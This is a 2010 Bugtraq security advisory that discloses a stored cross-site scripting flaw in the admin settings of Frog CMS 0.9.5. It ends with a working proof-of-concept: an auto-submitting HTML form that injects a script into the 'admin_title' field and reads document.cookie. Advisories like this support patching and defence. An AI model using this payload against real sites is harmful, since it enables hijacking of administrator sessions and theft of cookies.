bugtraq - XSS vulnerability in Frog CMS

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Message-Id: <201011250950.oAP9oCfZ098060@htbridge.ch>
Date: Thu, 25 Nov 2010 10:50:12 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in Frog CMS

Vulnerability ID: HTB22683
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_frog_cms_1.html
Product: Frog CMS
Vendor: Philippe Archambault ( http://www.madebyfrog.com/ ) 
Vulnerable Version: 0.9.5 and probably prior versions
Vendor Notification: 09 November 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "frog/app/controllers/SettingController.php" script to properly sanitize user-supplied input in "setting[admin_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/setting" method="post" name="main">
<input type="hidden" name="setting[admin_title]" value='Frog CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[language]" value="en">
<input type="hidden" name="setting[theme]" value="default">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>